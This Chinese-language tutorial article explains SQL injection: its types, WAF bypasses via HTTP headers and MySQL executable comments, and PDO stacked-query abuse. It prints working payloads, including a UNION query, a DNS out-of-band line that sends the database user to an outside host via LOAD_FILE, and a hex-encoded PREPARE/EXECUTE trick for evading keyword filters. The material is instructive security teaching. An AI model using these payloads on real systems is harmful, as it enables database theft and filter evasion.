前言

SQL注入是Web安全界地位很高的一个漏洞,它把矛头对准网站最为重要的数据库,利用成本低而危害巨大。若说一个普通开发人员有那么点儿安全意识,那一定和SQL注入有关。如今随着Web安全逐渐被重视,大家安全意识提升,同时各种预编译框架、ORM层出不穷,SQL注入已不像10年前那么泛滥,那么SQL注入的前世今生是怎样的?在这个预编译时代,SQL注入为何仍未销声匿迹?而预编译的底层又有哪些细节需要安全工程师知晓?这将是本文所重点探究之处。

注入原理剖析

SQL注入的本质

SQL注入的本质是『注入』,注入类攻击可被称为Web安全漏洞第一家族,内含SQL注入、命令注入、代码注入等,连XSS漏洞的本质其实都是HTML注入。而SQL注入自然是发生在SQL语句中的注入攻击。马三立先生有一段很著名的相声:

妈妈:『看着衣服,有人偷告诉妈妈』

小偷:『小孩你认识我吗?我叫逗你玩』

小孩:『妈妈有人偷咱家衣服』

妈妈:『谁啊?』

小孩:『逗你玩!』

妈妈:『介孩子!』

原本妈妈(数据库)想获取的是一个人名,即『数据』。但经过小偷(黑客)精心构造,小孩(SQL语句)将『逗你玩』(Payload)直接反馈给妈妈,导致妈妈理解成了一个『动作』。由数据到动作便是SQL注入的精髓所在,这会使黑客在数据库中任意执行SQL命令,不论后续有多少的奇技淫巧与绕过姿势,这样的本质总是不变的。一个简单的例子:

1
mysql_query("SELECT * FROM nowcoder WHERE id = $id");

当黑客传入精心构造的数据 1 UNION SELECT version(), user(),整条语句会变为

1
mysql_query("SELECT * FROM nowcoder WHERE id = 1 UNION SELECT version(), user()");

导致变为一个联合查询,将数据库的版本与当前用户泄露。

如果注入点被包裹在引号内,就传入引号,闭合SQL语句中原本的引号,使得攻击使用的Payload逃逸到引号外,成为SQL语法的一部分。

因此,SQL注入漏洞防御的核心就是阻止用户输入由『数据』变为『动作』。如使用反斜杠将用户输入中的引号转义,使其不能闭合SQL语句中原有的引号,无法影响引号外的部分,也就只能作为数据;又如PHP对付数字型SQL注入常用的intval,使得无论用户输入什么,最终都只能变为数字,或是使用addslashes转义引号,防止SQL语句中原本的引号被闭合使Payload逃逸到引号外;而预编译更是做到了极致,通过预先生成SQL语句语法树的方式,使得传入的数据永远也无法成为一个动作,关于其原理与对抗手段,文章将会在后续详细探讨。

SQL注入的类别

关于SQL注入的分类是仁者见仁,智者见智的事,很多人喜欢将其分为字符型、数字型和搜索型。而我个人更喜欢布尔盲注、时间盲注、报错注入与联合查询的分类方式。

布尔盲注可谓是最基础的一种注入,其本质就是使SQL语句永真或永假,使页面上显示的内容不同,然后逐个字符的去判断,以此来得到数据库中的所有数据。

时间盲注是从布尔盲注的基础上发展而来,即如果存在盲注,但不论SQL语句是用真还是永假,页面都没有回显或没有明显变化,如何去判断SQL语句此时是真是假呢?可以使用sleep函数使SQL语句延迟一段时间后再返回结果,如果sleep函数与整个语句是且(and)的关系,那么为真的语句就会延时,为假的语句就不会延时。其他的部分与布尔盲注其实是相同的。在面试中,经常会被问到『如果sleep函数被禁用,如何进行时间盲注?』答案是使用benchmark函数,它的本意是向用户报告执行某个表达式的时间,使用它大批量执行一个任意表达式,也可达到延时的效果。

报错注入则是通过floor、extractvalue、updatexml等函数来实现的,这些函数有一个共同的特点,便是完成相应的功能需要进行两次及以上的操作。因此我们使其成功查询数据后进行处理的那次操作出错,也就将查出的数据暴露在了错误信息中,从而使我们得到想要的数据。

联合查询导致的注入则是原本的select语句后可以通过union关键字来拼接一个自定义select,从而为所欲为,查询任意想查询的数据。并且只需要自定义select所查询的列数与原select语句查询的列数相同,即可将数据正常显示在页面上。

从实战来看,这四种类型的注入点查询数据的速度为联合查询>报错注入>布尔盲注>时间盲注,因为前两者可以直接查询想要的数据,而后两者则需要大量的试错,尤其是时间盲注,会将整个过程拉的很长,但时间盲注并不是没有优点。

我曾在面试中遇到过这样一个问题:如果你只有一次试验的机会,如何判定一个数据输入点是否存在SQL注入?答案是使用时间盲注,如sleep(4),如果真的存在注入,则肯定会延时4秒再显示结果。其他类型的注入都非一次试验而能确定存在的,并且一个数据输入点只要存在注入,必定存在时间盲注。

注入功守道

WAF的本质

如果说我在SQL注入的本质中提到的三种SQL注入防御方式是对症下药,那么使用WAF进行防御就像是隔靴搔痒,无法根治漏洞。WAF的目的是在不可信数据被传给应用程序处理前,先将其过滤为可信数据。这里要提到一个概念:信任边界,即应用程序内的已定义的数据是处于信任边界内的,而任何来自用户输入的数据都处于信任边界外,属于不可信数据。华为的安全编码规范曾明确提出任何跨越信任边界传递的数据都需要被校验,因为所有的不可信数据都可能来自黑客攻击。

WAF通过过滤或拦截用户输入中的SQL片段来防御SQL注入,如黑客输入的数据为1 AND 1=1,WAF侦测到SQL关键字AND,就会将用户输入过滤为1 1=1,或干脆直接拦截掉本次请求。这将会导致一个问题,便是当正常用户输入YOU AND ME时,请求也会被过滤和拦截,这将会严重破坏用户体验。但如果将校验的关键字减少,又会带来许多绕过WAF进行攻击的方式。

由此可见,企业Web安全其实不是纯粹的Web安全技术,会夹杂很多用户体验与安全之间的权衡,甚至会考虑到程序猿们的开发体验。很多规模庞大复杂的祖传代码由于年久失修,会有各种各样的神奇BUG,如果重构,可能会带来彻底的崩溃。这个时候,游离在整个应用程序之外的WAF便是保证祖传代码安全性的最好选择。

综上,WAF就是个既有用也没用的矛盾***体,让安全工程师们又爱又恨,绕过层出不穷却不得不用,只好缝缝补补又一年。

来自HTTP头的注入

从上述防御姿势可以看出,很多网站要么使用WAF,要么在每处用户输入做严格过滤。

很多WAF其实都是按照用户输入的传入形式来配置防御的,比如GET请求,POST请求可能是两套不同的规则,都会专注于对传入参数的防御,那么如果此时攻击来自于Cookie呢?WAF不会过滤Cookie中的危险字符,但Web应用在进行数据库操作时,确实可能使用到Cookie中的值,此时我们只需使用Cookie值进行注入即可绕过WAF。

把这个概念推广开来,当HTTP请求中的其他请求头的值开始参与数据库操作时,都是存在注入风险的。比如Web应用将访问者的IP地址存入数据库,会对HTTP请求中的x-forwarded-for、x-remote-ip、x-client-ip获取后进行INSERT操作,一般的开发者可能只会将来自$\_GET、\$\_POST的变量使用addslashes进行过滤,却不会意识到这种来自于\$\_COOKIE、_GET$_POST使addslashes$_COOKIE_SERVER的变量同样存在安全风险。

可执行注释

分享一个关于WAF有趣的点,当用户输入为:

1
an selection

select作为单词的一部分出现,为了保证用户体验,WAF不会进行拦截,于是,可以有一下绕过方式:

1
SELECT/*a*/*/*a*/FROM/*a*/nowcoder;

使用注释来替代空格,使得整条SQL语句伪装成一个长单词。WAF为了防止这种情况出现,会将注释去除,变为:

1
SELECT * FROM nowcoder;

这下可以拦截了,但MySQL对标准SQL进行了扩展,包含了一些自己的特性,为了保证在其它数据库中不被执行,MySQL将这些特殊句语放在特殊的注释中:

1
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;

这种以/*!开头的语句在MySQL中是可以被执行的,而在其他的数据库中却会被当做注释,在业界通常被称为『内联查询』。但这样的名称是不准确的,并没有这样的官方称谓,且内联查询另有其人,在这里我们仅称其为可执行注释。借由可执行注释的特性,我们可以发送这样的请求:

1
/*!SELECT * FROM*/ nowcoder;

在不指定数据库的通用WAF看来,这样的输入仅仅只有一个nowcoder,从而放行,但数据库处理时却会查出nowcoder表的所有数据。

SQL注入中的OOB

假设有这样一个场景:A知道一个秘密,但是碍于各种原因,不能直接告诉B,此时B要求A将秘密告诉C,B再从C处获得秘密即可。这便是OOB(Out-Of-Band),意为请求外带,在渗透测试中,若目标服务器上A的关键数据无法直接回显,安全人员可以让安全服务器主动对另一台受控制的服务器C发出请求,并将关键数据写在请求中(通常是URL中),安全人员通过查看C上的访问记录,便可从URL中获取关键数据了。
图片说明
OOB可使用在命令注入、SSRF、XXE等漏洞利用过程中,在SQL注入中,MySQL数据库无法直接对外发起请求,但MySQL中的LOAD_FILE函数却可以解析域名,而域名在解析过程中,是可以在DNS服务器上留下记录的,安全人员只需通过自建DNS服务器,即可使用OOB获取关键数据。

OOB通常用于盲注中,盲注由于通过逐字符猜解的方式获得数据,非常缓慢,而大量请求更会直接导致被WAF封禁。此时便可以结合OOB进行SQL注入。使用OOB的前提条件为MySQL的secure_file_priv变量为空,当secure_file_priv为NULL或指定路径时,都无法无法利用LOAD_FILE函数进行OOB,secure_file_priv的状态可通过下面的命令进行查看:

1
show variables like '%secure%';

而很遗憾,secure_file_priv的默认状态是NULL,但当Web应用本身使用了LOAD_FILE函数时,secure_file_priv通常会被设为空,此时就可以进行OOB了。

1
SELECT LOAD_FILE(CONCAT('\\\\', HEX(user()), '.dnslog.com'));

上述命令中的dnslog.com为安全人员拥有的网站,此条命令只会在dnslog.com的DNS服务器上留下解析记录,不会在网站服务器上留下访问日志。因此dnslog.com需要添加一条DNS记录,指向自建的DNS服务器,安全人员通过查看该自建DNS服务器的DNS解析记录即可获取该数据库当前用户名的hex编码,之后进行解码操作即可。进行hex编码是为了避免有域名允许范围之外的字符出现。

PDO中的多条执行

PDO是PHP官方提供的预编译解决方案,之所以不将这个绕过姿势放在下篇预编译的章节中,是因为这不是PDO本身的绕过,而是错误使用PDO时对WAF的绕过。在PHP代码审计中,常常会见到PDO的不正确使用方式,如:

1
2
3
4
5
6
7
$pdo = newPDO("mysql:host=127.0.0.1;dbname=nowcoder;charset=gbk","root","123456");
$id = $_GET['id'];
$query = "SELECT * FROM nowcoder WHERE id = $id";
$stmt = $pdo->prepare($query);
$stmt->execute();
$r = $stmt->fetch();
print_r($r);

虽然使用了PDO,看起来也使用prepare进行了预编译,但其实参数id仍然是拼接进去的,并没有用到防止预编译的根本性操作——参数绑定。这是开发人员对于PDO特性的不理解所导致的后果,造成了SQL注入。如果在这样一个场景中,外层有非常牛逼的硬WAF或者软WAF,使用极为严格的过滤规则将常见关键字如SELECT、UPDATE、INSERT等全部过滤,甚至连逗号也不放行,我们应该如何绕过并进行注入?

PDO有一个有趣的特性:默认可以支持多条SQL执行。即我们完全可以在参数中传入1;SELECT user(), version()来注入新的SQL,但这里有一个问题,那就是仅有第一条SQL语句的结果会显示在页面上,即使我们注入的第二条SQL被执行,也无法获取其结果。不过没关系,我们可以使用INSERT或UPDATE语句,将数据插入到表中再查询出来。如nowcoder表中只有两条数据:

1
2
3
4
id  name
------------
1  niumei
2  dalao

我们就可以通过执行以下Payload将数据库版本插入为第三条语句:

1
1;INSERT nowcoder VALUES(3,version());

然后再使id=3将其查询出来即可。回到我们刚刚的问题,如何绕过严格过滤的WAF?我们可以利用MySQL的PREPARE关键字对INSERT语句做一个预编译,然后通过EXECUTE关键字执行预编译好的语句:

1
2
PREPARE a FROM 'INSERT nowcoder VALUES(4,version())';
EXECUTE a;

当然,这还是没有解决过滤关键字的问题,我们可以利用MySQL的特性,将真正的SQL语句使用hex函数转为16进制:

1
2
3
SET @x= 0x494E53455254206E6F77636F6465722056414C55455328342C76657273696F6E282929;
PREPARE a FROM @x;
EXECUTE a;

这样就完美绕过了WAF对SELECT、UPDATE、INSERT等常用关键字或逗号括号等字符的限制。如果想要杜绝这样的风险,只需拦截PREPARE、EXECUTE等关键字,或关闭PDO执行多条查询的功能即可。

有关预编译的更多特性以及背后的原理,我将在下篇中详细讲解。

*本文作者为牛油百度实习内推,已获得展示授权